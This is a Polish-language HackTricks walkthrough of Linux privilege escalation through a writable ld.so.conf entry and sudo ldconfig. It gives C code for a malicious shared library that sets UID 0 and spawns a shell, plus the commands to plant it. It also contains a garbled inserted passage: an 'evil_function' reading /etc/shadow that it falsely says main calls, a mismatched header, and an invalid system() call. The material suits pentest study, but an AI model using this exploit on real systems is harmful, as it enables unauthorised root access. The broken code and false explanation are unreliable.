ld.so privesc exploit example

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Przygotuj środowisko

W poniższym rozdziale znajdziesz kod plików, które będziemy używać do przygotowania środowiska

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
#ifndef LIBCUSTOM_H
#define LIBCUSTOM_H

void custom_function();

#endif
#include <stdio.h>

void vuln_func();

W pliku libcustom.c znajduje się przykład kodu biblioteki dynamicznej, która może być użyta do eskalacji uprawnień. Ta biblioteka dynamiczna jest skompilowana z flagą -fPIC, co oznacza, że jest ona niezależna od pozycji w pamięci.

Kod biblioteki dynamicznej zawiera funkcję evil_function(), która jest wywoływana przez program główny. Funkcja ta wykonuje operację, która wymaga podwyższonych uprawnień, takich jak otwarcie pliku /etc/shadow w trybie do odczytu.

Aby wykorzystać tę bibliotekę dynamiczną do eskalacji uprawnień, należy dodać ścieżkę do katalogu zawierającego tę bibliotekę do pliku konfiguracyjnego ld.so.conf. Następnie należy uruchomić program główny, który wywołuje funkcję evil_function(). W wyniku tego, funkcja evil_function() zostanie wykonana z podwyższonymi uprawnieniami, umożliwiając dostęp do chronionych zasobów systemowych.

#include <stdio.h>

void evil_function() {
    FILE *file = fopen("/etc/shadow", "r");
    if (file) {
        char buffer[256];
        while (fgets(buffer, sizeof(buffer), file)) {
            printf("%s", buffer);
        }
        fclose(file);
    }
}
#include <stdio.h>

void vuln_func()
{
puts("Hi");
}
  1. Utwórz te pliki na swoim komputerze w tym samym folderze.

  2. Skompiluj bibliotekę: gcc -shared -o libcustom.so -fPIC libcustom.c

  3. Skopiuj libcustom.so do /usr/lib: sudo cp libcustom.so /usr/lib (uprawnienia roota)

  4. Skompiluj plik wykonywalny: gcc sharedvuln.c -o sharedvuln -lcustom

Sprawdź środowisko

Sprawdź, czy libcustom.so jest ładowana z /usr/lib i czy możesz wykonać plik binarny.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Wykorzystanie

W tym scenariuszu załóżmy, że ktoś utworzył podatne wpisy wewnątrz pliku w /etc/ld.so.conf/.

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

Narażony folder to /home/ubuntu/lib (w którym mamy dostęp do zapisu). Pobierz i skompiluj poniższy kod wewnątrz tej ścieżki:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Teraz, gdy utworzyliśmy złośliwą bibliotekę libcustom w nieprawidłowej ścieżce, musimy poczekać na ponowne uruchomienie lub na wykonanie przez użytkownika root polecenia ldconfig (jeśli możesz wykonać to polecenie jako sudo lub ma ustawiony bit suid, będziesz w stanie wykonać je samodzielnie).

Po tym zdarzeniu ponownie sprawdź, z jakiego miejsca ładowana jest biblioteka libcustom.so przez plik wykonywalny sharevuln:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Jak widać, jest ładowane z /home/ubuntu/lib, a jeśli jakikolwiek użytkownik je uruchomi, zostanie uruchomiona powłoka:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Zauważ, że w tym przykładzie nie podnieśliśmy uprawnień, ale modyfikując wykonywane polecenia i oczekując, aż użytkownik root lub inny uprzywilejowany użytkownik uruchomi podatny plik binarny, będziemy mogli podnieść uprawnienia.

Inne błędy konfiguracji - Ta sama podatność

W poprzednim przykładzie sfabrykowaliśmy błąd konfiguracji, w którym administrator ustawił folder bez uprawnień w pliku konfiguracyjnym wewnątrz /etc/ld.so.conf.d/. Ale istnieją inne błędy konfiguracji, które mogą spowodować tę samą podatność. Jeśli masz uprawnienia do zapisu w jakimś pliku konfiguracyjnym wewnątrz /etc/ld.so.conf.d, w folderze /etc/ld.so.conf.d lub w pliku /etc/ld.so.conf, możesz skonfigurować tę samą podatność i ją wykorzystać.

Wykorzystanie 2

Załóżmy, że masz uprawnienia sudo dla ldconfig. Możesz wskazać ldconfig, skąd mają być ładowane pliki konfiguracyjne, więc możemy z tego skorzystać, aby spowodować, że ldconfig załaduje dowolne foldery. Więc stwórzmy potrzebne pliki i foldery, aby załadować "/tmp":

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Teraz, jak wskazano w poprzednim wykorzystaniu, utwórz złośliwą bibliotekę wewnątrz /tmp. I na koniec, załaduj ścieżkę i sprawdź, skąd jest ładowana biblioteka binarna:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Jak widać, posiadając uprawnienia sudo dla ldconfig, można wykorzystać tę samą podatność.

Nie znalazłem niezawodnego sposobu na wykorzystanie tej podatności, jeśli ldconfig jest skonfigurowany z bitem suid. Pojawia się następujący błąd: /sbin/ldconfig.real: Nie można utworzyć tymczasowego pliku cache /etc/ld.so.cache~: Brak dostępu

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated